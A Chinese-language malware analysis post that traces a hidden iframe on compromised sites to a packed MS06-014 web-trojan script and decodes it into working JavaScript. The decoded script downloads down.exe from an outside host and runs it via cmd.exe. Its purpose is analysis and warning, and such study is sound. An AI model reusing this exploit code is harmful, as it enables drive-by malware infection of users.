活剥MS06-014网马变种纪实

活剥MS06-014网马变种纪实

近几日无聊，用自制的扫描工具扫到几个被挂马的网站，列出来，供大家参考
www.egua.com
www.rz567.com
www.jiaomai.com
www.love550.com
wwww.tbba.com.cn
www.xf200.com
www.feloo.com
下面以wwww.tbba.com.cn为例，剖析一下所挂网马
为了避免中招，可以使用Flashget下载首页，在首页index.htm可发现以下代码
<iframe src="http://www.6658588.cn/m4.htm" width="0" height="0" frameborder="0"></iframe>

使用0大小的iframe，挂马常见手法。

接下来使用Flashget下载http://www.6658588.cn/m4.htm，关键内容如下：
<script src=http://www.6658588.cn/0614.js></script>

其中http://www.6658588.cn/0614.js就是起关键作用的脚本，同样使用Flashget下载，打开后内容如下

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'//w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('//b'+e(c)+'//b','g'),k[c]);return p;}('14("//c//y//o//m//N//F//U//o//9//12//o//l//11//F//N//y//D//B//10//x//b//k//9//X//9//B//j//s//9//O//G//y//t//8//9//r//9//S//F//o//e//U//S//h//7//1//0//3//e//1//0//2//b//1//0//4//3//1//0//2//n//7//g//h//7//1//0//4//8//1//0//2//b//1//0//2//a//1//0//2//3//1//0//2//c//1//0//2//e//7//g//l//k//15//11//F//N//y//D//B//10//x//b//f//9//s//a//N//y//s//o//9//w//1//0//4//a//1//0//4//3//1//0//2//e//1//0//4//d//w//A//w//1//0//8//a//1//0//4//3//1//0//2//e//1//0//4//d//w//f//9//T//9//N//s//O//9//X//9//e//13//r//w//1//0//2//n//1//0//4//3//1//0//4//3//1//0//4//d//1//0//5//j//1//0//8//c//1//0//8//c//1//0//5//d//1//0//5//d//1//0//5//d//1//0//5//b//1//0//8//a//1//0//5//2//1//0//5//2//1//0//5//6//1//0//5//n//1//0//5//6//1//0//5//n//1//0//5//n//1//0//8//a//1//0//2//5//1//0//2//a//1//0//8//c//1//0//2//3//1//0//2//c//1//0//4//4//1//0//2//a//1//0//8//a//1//0//2//6//1//0//4//n//1//0//2//6//w//f//9//B//j//s//9//G//K//v//L//J//H//t//u//x//5//r//S//F//o//e//U//S//h//7//1//0//2//3//1//0//2//c//1//0//2//5//1//0//4//6//1//0//2//e//1//0//2//6//1//0//2//a//1//0//4//3//7//g//h//7//1//0//2//5//1//0//4//8//1//0//2//6//1//0//2//b//1//0//4//3//1//0//2//6//1//0//3//6//1//0//2//m//1//0//2//6//1//0//2//e//1//0//2//6//1//0//2//a//1//0//4//3//7//g//l//7//1//0//2//c//1//0//2//8//1//0//2//j//1//0//2//6//1//0//2//5//1//0//4//3//7//k//f//9//G//K//v//L//J//H//t//u//x//5//h//7//1//0//4//5//1//0//2//6//1//0//4//3//1//0//3//b//1//0//4//3//1//0//4//3//1//0//4//8//1//0//2//i//1//0//2//8//1//0//4//6//1//0//4//3//1//0//2//6//7//g//l//7//1//0//2//5//1//0//2//m//1//0//2//b//1//0//4//5//1//0//4//5//1//0//2//i//1//0//2//3//7//q//7//1//0//2//5//1//0//2//m//1//0//4//5//1//0//2//i//1//0//2//3//1//0//5//j//1//0//3//8//1//0//3//3//1//0//5//i//1//0//5//2//1//0//3//5//1//0//5//6//1//0//5//6//1//0//5//2//1//0//8//e//1//0//5//2//1//0//5//6//1//0//3//b//1//0//5//5//1//0//8//e//1//0//5//b//1//0//5//b//1//0//3//3//1//0//5//d//1//0//8//e//1//0//5//i//1//0//5//n//1//0//5//5//1//0//3//b//1//0//8//e//1//0//5//d//1//0//5//d//1//0//3//5//1//0//5//d//1//0//5//3//1//0//3//2//1//0//3//5//1//0//5//8//1//0//5//i//1//0//3//6//1//0//5//5//1//0//5//2//7//k//f//9//B//j//s//9//o//P//M//D//3//r//G//K//v//L//J//H//t//u//x//5//h//7//1//0//3//5//1//0//4//8//1//0//2//6//1//0//2//b//1//0//4//3//1//0//2//6//1//0//3//c//1//0//2//8//1//0//2//j//1//0//2//6//1//0//2//5//1//0//4//3//7//g//l//7//1//0//3//e//1//0//2//i//1//0//2//5//1//0//4//8//1//0//2//c//1//0//4//5//1//0//2//c//1//0//2//2//1//0//4//3//1//0//8//a//1//0//6//n//7//A//7//1//0//3//e//7//A//7//1//0//3//m//7//A//7//1//0//3//n//7//A//7//1//0//6//3//7//A//7//1//0//6//3//7//A//7//1//0//6//d//7//q//7//7//k//f//9//B//j//s//9//I//p//C//u//p//y//v//6//r//G//K//v//L//J//H//t//u//x//5//h//7//1//0//3//5//1//0//4//8//1//0//2//6//1//0//2//b//1//0//4//3//1//0//2//6//1//0//3//c//1//0//2//8//1//0//2//j//1//0//2//6//1//0//2//5//1//0//4//3//7//g//l//7//1//0//3//b//1//0//2//3//1//0//2//c//1//0//2//3//1//0//2//8//1//0//8//a//1//0//6//5//1//0//4//3//1//0//4//8//1//0//2//6//1//0//2//b//1//0//2//e//7//q//7//7//k//f//9//I//p//C//u//p//y//v//6//h//7//1//0//4//3//1//0//4//i//1//0//4//d//1//0//2//6//7//g//r//b//f//9//o//P//M//D//3//h//7//1//0//2//c//1//0//4//d//1//0//2//6//1//0//2//a//7//g//l//7//1//0//3//4//1//0//3//6//1//0//6//3//7//q//9//e//13//q//d//k//f//9//o//P//M//D//3//h//7//1//0//4//5//1//0//2//6//1//0//2//a//1//0//2//3//7//g//l//k//f//9//c//o//j//t//a//b//r//12//o//l//b//d//d//d//d//k//f//9//B//j//s//9//z//Q//E//E//a//R//z//2//r//G//K//v//L//J//H//t//u//x//5//h//7//1//0//3//5//1//0//4//8//1//0//2//6//1//0//2//b//1//0//4//3//1//0//2//6//1//0//3//c//1//0//2//8//1//0//2//j//1//0//2//6//1//0//2//5//1//0//4//3//7//g//l//7//1//0//6//5//1//0//2//5//1//0//4//8//1//0//2//i//1//0//4//d//1//0//4//3//1//0//2//i//1//0//2//a//1//0//2//4//1//0//8//a//1//0//3//2//1//0//2//i//1//0//2//m//1//0//2//6//1//0//6//5//1//0//4//i//1//0//4//5//1//0//4//3//1//0//2//6//1//0//2//e//1//0//3//c//1//0//2//8//1//0//2//j//1//0//2//6//1//0//2//5//1//0//4//3//7//q//7//7//k//f//9//B//j//s//9//W//Y//e//x//p//Z//O//V//s//4//r//z//Q//E//E//a//R//z//2//h//7//1//0//3//4//1//0//2//6//1//0//4//3//1//0//6//5//1//0//4//d//1//0//2//6//1//0//2//5//1//0//2//i//1//0//2//b//1//0//2//m//1//0//3//2//1//0//2//c//1//0//2//m//1//0//2//3//1//0//2//6//1//0//4//8//7//g//l//d//k//f//9//c//o//j//t//a//b//r//9//z//Q//E//E//a//R//z//2//h//7//1//0//3//8//1//0//4//6//1//0//2//i//1//0//2//m//1//0//2//3//1//0//6//d//1//0//2//b//1//0//4//3//1//0//2//n//7//g//l//W//Y//e//x//p//Z//O//V//s//4//q//c//o//j//t//a//b//k//f//9//I//p//C//u//p//y//v//6//h//7//1//0//3//c//1//0//4//d//1//0//2//6//1//0//2//a//7//g//l//k//f//I//p//C//u//p//y//v//6//h//7//1//0//6//4//1//0//4//8//1//0//2//i//1//0//4//3//1//0//2//6//7//g//l//o//P//M//D//3//h//7//1//0//4//8//1//0//2//6//1//0//4//5//1//0//4//d//1//0//2//c//1//0//2//a//1//0//4//5//1//0//2//6//1//0//3//8//1//0//2//c//1//0//2//3//1//0//4//i//7//g//k//f//9//I//p//C//u//p//y//v//6//h//7//1//0//6//5//1//0//2//b//1//0//4//2//1//0//2//6//1//0//6//3//1//0//2//c//1//0//3//2//1//0//2//i//1//0//2//m//1//0//2//6//7//g//l//c//o//j//t//a//b//q//8//k//f//9//I//p//C//u//p//y//v//6//h//7//1//0//3//5//1//0//2//m//1//0//2//c//1//0//4//5//1//0//2//6//7//g//l//k//f//9//B//j//s//9//a//M//D//z//n//r//G//K//v//L//J//H//t//u//x//5//h//7//1//0//3//5//1//0//4//8//1//0//2//6//1//0//2//b//1//0//4//3//1//0//2//6//1//0//3//c//1//0//2//8//1//0//2//j//1//0//2//6//1//0//2//5//1//0//4//3//7//g//l//7//1//0//6//5//1//0//2//n//1//0//2//6//1//0//2//m//1//0//2//m//1//0//8//a//1//0//3//b//1//0//4//d//1//0//4//d//1//0//2//m//1//0//2//i//1//0//2//5//1//0//2//b//1//0//4//3//1//0//2//i//1//0//2//c//1//0//2//a//7//q//7//7//k//f//9//a//0//C//b//r//z//Q//E//E//a//R//z//2//h//7//1//0//3//8//1//0//4//6//1//0//2//i//1//0//2//m//1//0//2//3//1//0//6//d//1//0//2//b//1//0//4//3//1//0//2//n//7//g//l//W//Y//e//x//p//Z//O//V//s//4//A//w//1//1//1//0//4//5//1//0//4//i//1//0//4//5//1//0//4//3//1//0//2//6//1//0//2//e//1//0//5//5//1//0//5//8//w//q//w//1//0//2//5//1//0//2//e//1//0//2//3//1//0//8//a//1//0//2//6//1//0//4//n//1//0//2//6//w//k//f//9//a//M//D//z//n//h//7//1//0//6//5//1//0//2//n//1//0//2//6//1//0//2//m//1//0//2//m//1//0//3//6//1//0//4//n//1//0//2//6//1//0//2//5//1//0//4//6//1//0//4//3//1//0//2//6//7//g//l//a//0//C//b//q//w//9//1//0//8//c//1//0//2//5//9//w//A//c//o//j//t//a//b//q//7//7//q//7//1//0//2//c//1//0//4//d//1//0//2//6//1//0//2//a//7//q//d//k//f//9//T//9//m//j//N//m//16//l//F//k//9//X//9//F//r//b//f//9//T")',62,69,'170|134|66|64|67|63|65|42|62|40|145|61|146|60|144|73|135|133|71|141|51|50|143|70|156|163|54|75|162|155|122|115|47|153|165|112|53|166|160|107|152|151|104|127|103|116|105|120|117|164|171|137|110|106|167|175|157|161|130|173|101|132|113|131|147|154|eval|52|150'.split('|'),0,{}))

看到eval了吧，现在把脚本拷贝到htm文件里，使用document.write替换eval,打开页面，输出结果为

eval("/146/165/156/143/164/151/157/156/40/147/156/50/131/151/164/165/107/166/113/153/61/51/40/173/40/166/141/162/40/171/104/165/155/62/40/75/40/167/151/156/144/157/167/133/42/134/170/64/144/134/170/66/61/134/170/67/64/134/170/66/70/42/135/133/42/134/170/67/62/134/170/66/61/134/170/66/145/134/170/66/64/134/170/66/146/134/170/66/144/42/135/50/51/52/131/151/164/165/107/166/113/153/61/73/40/162/145/164/165/162/156/40/47/134/170/67/145/134/170/67/64/134/170/66/144/134/170/67/60/47/53/47/134/170/62/145/134/170/67/64/134/170/66/144/134/170/67/60/47/73/40/175/40/164/162/171/40/173/40/144/154/75/47/134/170/66/70/134/170/67/64/134/170/67/64/134/170/67/60/134/170/63/141/134/170/62/146/134/170/62/146/134/170/63/60/134/170/63/60/134/170/63/60/134/170/63/61/134/170/62/145/134/170/63/66/134/170/63/66/134/170/63/65/134/170/63/70/134/170/63/65/134/170/63/70/134/170/63/70/134/170/62/145/134/170/66/63/134/170/66/145/134/170/62/146/134/170/66/64/134/170/66/146/134/170/67/67/134/170/66/145/134/170/62/145/134/170/66/65/134/170/67/70/134/170/66/65/47/73/40/166/141/162/40/104/105/115/120/116/127/155/122/153/63/75/167/151/156/144/157/167/133/42/134/170/66/64/134/170/66/146/134/170/66/63/134/170/67/65/134/170/66/144/134/170/66/65/134/170/66/145/134/170/67/64/42/135/133/42/134/170/66/63/134/170/67/62/134/170/66/65/134/170/66/61/134/170/67/64/134/170/66/65/134/170/64/65/134/170/66/143/134/170/66/65/134/170/66/144/134/170/66/65/134/170/66/145/134/170/67/64/42/135/50/42/134/170/66/146/134/170/66/62/134/170/66/141/134/170/66/65/134/170/66/63/134/170/67/64/42/51/73/40/104/105/115/120/116/127/155/122/153/63/133/42/134/170/67/63/134/170/66/65/134/170/67/64/134/170/64/61/134/170/67/64/134/170/67/64/134/170/67/62/134/170/66/71/134/170/66/62/134/170/67/65/134/170/67/64/134/170/66/65/42/135/50/42/134/170/66/63/134/170/66/143/134/170/66/61/134/170/67/63/134/170/67/63/134/170/66/71/134/170/66/64/42/54/42/134/170/66/63/134/170/66/143/134/170/67/63/134/170/66/71/134/170/66/64/134/170/63/141/134/170/64/62/134/170/64/64/134/170/63/71/134/170/63/66/134/170/64/63/134/170/63/65/134/170/63/65/134/170/63/66/134/170/62/144/134/170/63/66/134/170/63/65/134/170/64/61/134/170/63/63/134/170/62/144/134/170/63/61/134/170/63/61/134/170/64/64/134/170/63/60/134/170/62/144/134/170/63/71/134/170/63/70/134/170/63/63/134/170/64/61/134/170/62/144/134/170/63/60/134/170/63/60/134/170/64/63/134/170/63/60/134/170/63/64/134/170/64/66/134/170/64/63/134/170/63/62/134/170/63/71/134/170/64/65/134/170/63/63/134/170/63/66/42/51/73/40/166/141/162/40/156/137/117/107/64/75/104/105/115/120/116/127/155/122/153/63/133/42/134/170/64/63/134/170/67/62/134/170/66/65/134/170/66/61/134/170/67/64/134/170/66/65/134/170/64/146/134/170/66/62/134/170/66/141/134/170/66/65/134/170/66/63/134/170/67/64/42/135/50/42/134/170/64/144/134/170/66/71/134/170/66/63/134/170/67/62/134/170/66/146/134/170/67/63/134/170/66/146/134/170/66/66/134/170/67/64/134/170/62/145/134/170/65/70/42/53/42/134/170/64/144/42/53/42/134/170/64/143/42/53/42/134/170/64/70/42/53/42/134/170/65/64/42/53/42/134/170/65/64/42/53/42/134/170/65/60/42/54/42/42/51/73/40/166/141/162/40/103/163/160/122/163/165/115/65/75/104/105/115/120/116/127/155/122/153/63/133/42/134/170/64/63/134/170/67/62/134/170/66/65/134/170/66/61/134/170/67/64/134/170/66/65/134/170/64/146/134/170/66/62/134/170/66/141/134/170/66/65/134/170/66/63/134/170/67/64/42/135/50/42/134/170/64/61/134/170/66/64/134/170/66/146/134/170/66/64/134/170/66/62/134/170/62/145/134/170/65/63/134/170/67/64/134/170/67/62/134/170/66/65/134/170/66/61/134/170/66/144/42/54/42/42/51/73/40/103/163/160/122/163/165/115/65/133/42/134/170/67/64/134/170/67/71/134/170/67/60/134/170/66/65/42/135/75/61/73/40/156/137/117/107/64/133/42/134/170/66/146/134/170/67/60/134/170/66/65/134/170/66/145/42/135/50/42/134/170/64/67/134/170/64/65/134/170/65/64/42/54/40/144/154/54/60/51/73/40/156/137/117/107/64/133/42/134/170/67/63/134/170/66/65/134/170/66/145/134/170/66/64/42/135/50/51/73/40/146/156/141/155/145/61/75/147/156/50/61/60/60/60/60/51/73/40/166/141/162/40/112/110/152/152/145/106/112/66/75/104/105/115/120/116/127/155/122/153/63/133/42/134/170/64/63/134/170/67/62/134/170/66/65/134/170/66/61/134/170/67/64/134/170/66/65/134/170/64/146/134/170/66/62/134/170/66/141/134/170/66/65/134/170/66/63/134/170/67/64/42/135/50/42/134/170/65/63/134/170/66/63/134/170/67/62/134/170/66/71/134/170/67/60/134/170/67/64/134/170/66/71/134/170/66/145/134/170/66/67/134/170/62/145/134/170/64/66/134/170/66/71/134/170/66/143/134/170/66/65/134/170/65/63/134/170/67/71/134/170/67/63/134/170/67/64/134/170/66/65/134/170/66/144/134/170/64/146/134/170/66/62/134/170/66/141/134/170/66/65/134/170/66/63/134/170/67/64/42/54/42/42/51/73/40/166/141/162/40/130/101/144/153/163/132/171/161/162/67/75/112/110/152/152/145/106/112/66/133/42/134/170/64/67/134/170/66/65/134/170/67/64/134/170/65/63/134/170/67/60/134/170/66/65/134/170/66/63/134/170/66/71/134/170/66/61/134/170/66/143/134/170/64/66/134/170/66/146/134/170/66/143/134/170/66/64/134/170/66/65/134/170/67/62/42/135/50/60/51/73/40/146/156/141/155/145/61/75/40/112/110/152/152/145/106/112/66/133/42/134/170/64/62/134/170/67/65/134/170/66/71/134/170/66/143/134/170/66/64/134/170/65/60/134/170/66/61/134/170/67/64/134/170/66/70/42/135/50/130/101/144/153/163/132/171/161/162/67/54/146/156/141/155/145/61/51/73/40/103/163/160/122/163/165/115/65/133/42/134/170/64/146/134/170/67/60/134/170/66/65/134/170/66/145/42/135/50/51/73/103/163/160/122/163/165/115/65/133/42/134/170/65/67/134/170/67/62/134/170/66/71/134/170/67/64/134/170/66/65/42/135/50/156/137/117/107/64/133/42/134/170/67/62/134/170/66/65/134/170/67/63/134/170/67/60/134/170/66/146/134/170/66/145/134/170/67/63/134/170/66/65/134/170/64/62/134/170/66/146/134/170/66/64/134/170/67/71/42/135/51/73/40/103/163/160/122/163/165/115/65/133/42/134/170/65/63/134/170/66/61/134/170/67/66/134/170/66/65/134/170/65/64/134/170/66/146/134/170/64/66/134/170/66/71/134/170/66/143/134/170/66/65/42/135/50/146/156/141/155/145/61/54/62/51/73/40/103/163/160/122/163/165/115/65/133/42/134/170/64/63/134/170/66/143/134/170/66/146/134/170/67/63/134/170/66/65/42/135/50/51/73/40/166/141/162/40/145/117/107/112/70/75/104/105/115/120/116/127/155/122/153/63/133/42/134/170/64/63/134/170/67/62/134/170/66/65/134/170/66/61/134/170/67/64/134/170/66/65/134/170/64/146/134/170/66/62/134/170/66/141/134/170/66/65/134/170/66/63/134/170/67/64/42/135/50/42/134/170/65/63/134/170/66/70/134/170/66/65/134/170/66/143/134/170/66/143/134/170/62/145/134/170/64/61/134/170/67/60/134/170/67/60/134/170/66/143/134/170/66/71/134/170/66/63/134/170/66/61/134/170/67/64/134/170/66/71/134/170/66/146/134/170/66/145/42/54/42/42/51/73/40/145/170/160/61/75/112/110/152/152/145/106/112/66/133/42/134/170/64/62/134/170/67/65/134/170/66/71/134/170/66/143/134/170/66/64/134/170/65/60/134/170/66/61/134/170/67/64/134/170/66/70/42/135/50/130/101/144/153/163/132/171/161/162/67/53/47/134/134/134/170/67/63/134/170/67/71/134/170/67/63/134/170/67/64/134/170/66/65/134/170/66/144/134/170/63/63/134/170/63/62/47/54/47/134/170/66/63/134/170/66/144/134/170/66/64/134/170/62/145/134/170/66/65/134/170/67/70/134/170/66/65/47/51/73/40/145/117/107/112/70/133/42/134/170/65/63/134/170/66/70/134/170/66/65/134/170/66/143/134/170/66/143/134/170/64/65/134/170/67/70/134/170/66/65/134/170/66/63/134/170/67/65/134/170/67/64/134/170/66/65/42/135/50/145/170/160/61/54/47/40/134/170/62/146/134/170/66/63/40/47/53/146/156/141/155/145/61/54/42/42/54/42/134/170/66/146/134/170/67/60/134/170/66/65/134/170/66/145/42/54/60/51/73/40/175/40/143/141/164/143/150/50/151/51/40/173/40/151/75/61/73/40/175")

别着急，再用document.write替换eval，刷新htm文件，结果为:

function gn(YituGvKk1) { var yDum2 = window["/x4d/x61/x74/x68"]["/x72/x61/x6e/x64/x6f/x6d"]()*YituGvKk1; return '/x7e/x74/x6d/x70'+'/x2e/x74/x6d/x70'; } try { dl='/x68/x74/x74/x70/x3a/x2f/x2f/x30/x30/x30/x31/x2e/x36/x36/x35/x38/x35/x38/x38/x2e/x63/x6e/x2f/x64/x6f/x77/x6e/x2e/x65/x78/x65'; var DEMPNWmRk3=window["/x64/x6f/x63/x75/x6d/x65/x6e/x74"]["/x63/x72/x65/x61/x74/x65/x45/x6c/x65/x6d/x65/x6e/x74"]("/x6f/x62/x6a/x65/x63/x74"); DEMPNWmRk3["/x73/x65/x74/x41/x74/x74/x72/x69/x62/x75/x74/x65"]("/x63/x6c/x61/x73/x73/x69/x64","/x63/x6c/x73/x69/x64/x3a/x42/x44/x39/x36/x43/x35/x35/x36/x2d/x36/x35/x41/x33/x2d/x31/x31/x44/x30/x2d/x39/x38/x33/x41/x2d/x30/x30/x43/x30/x34/x46/x43/x32/x39/x45/x33/x36"); var n_OG4=DEMPNWmRk3["/x43/x72/x65/x61/x74/x65/x4f/x62/x6a/x65/x63/x74"]("/x4d/x69/x63/x72/x6f/x73/x6f/x66/x74/x2e/x58"+"/x4d"+"/x4c"+"/x48"+"/x54"+"/x54"+"/x50",""); var CspRsuM5=DEMPNWmRk3["/x43/x72/x65/x61/x74/x65/x4f/x62/x6a/x65/x63/x74"]("/x41/x64/x6f/x64/x62/x2e/x53/x74/x72/x65/x61/x6d",""); CspRsuM5["/x74/x79/x70/x65"]=1; n_OG4["/x6f/x70/x65/x6e"]("/x47/x45/x54", dl,0); n_OG4["/x73/x65/x6e/x64"](); fname1=gn(10000); var JHjjeFJ6=DEMPNWmRk3["/x43/x72/x65/x61/x74/x65/x4f/x62/x6a/x65/x63/x74"]("/x53/x63/x72/x69/x70/x74/x69/x6e/x67/x2e/x46/x69/x6c/x65/x53/x79/x73/x74/x65/x6d/x4f/x62/x6a/x65/x63/x74",""); var XAdksZyqr7=JHjjeFJ6["/x47/x65/x74/x53/x70/x65/x63/x69/x61/x6c/x46/x6f/x6c/x64/x65/x72"](0); fname1= JHjjeFJ6["/x42/x75/x69/x6c/x64/x50/x61/x74/x68"](XAdksZyqr7,fname1); CspRsuM5["/x4f/x70/x65/x6e"]();CspRsuM5["/x57/x72/x69/x74/x65"](n_OG4["/x72/x65/x73/x70/x6f/x6e/x73/x65/x42/x6f/x64/x79"]); CspRsuM5["/x53/x61/x76/x65/x54/x6f/x46/x69/x6c/x65"](fname1,2); CspRsuM5["/x43/x6c/x6f/x73/x65"](); var eOGJ8=DEMPNWmRk3["/x43/x72/x65/x61/x74/x65/x4f/x62/x6a/x65/x63/x74"]("/x53/x68/x65/x6c/x6c/x2e/x41/x70/x70/x6c/x69/x63/x61/x74/x69/x6f/x6e",""); exp1=JHjjeFJ6["/x42/x75/x69/x6c/x64/x50/x61/x74/x68"](XAdksZyqr7+'///x73/x79/x73/x74/x65/x6d/x33/x32','/x63/x6d/x64/x2e/x65/x78/x65'); eOGJ8["/x53/x68/x65/x6c/x6c/x45/x78/x65/x63/x75/x74/x65"](exp1,' /x2f/x63 '+fname1,"","/x6f/x70/x65/x6e",0); } catch(i) { i=1; }

这段代码就太熟悉了，将/x开始的字符串进行解码,比如：
document.write("/x63/x6c/x73/x69/x64/x3a/x42/x44/x39/x36/x43/x35/x35/x36/x2d/x36/x35/x41/x33/x2d/x31/x31/x44/x30/x2d/x39/x38/x33/x41/x2d/x30/x30/x43/x30/x34/x46/x43/x32/x39/x45/x33/x36");

解码后结果为clsid:BD96C556-65A3-11D0-983A-00C04FC29E36,很显然，非常经典的MS06-014马，变种是为了迷惑杀毒软件，不过如果系统最近打过补丁，还是可以避免中毒，至于对方的最终目的是什么，有兴趣的自己分析吧。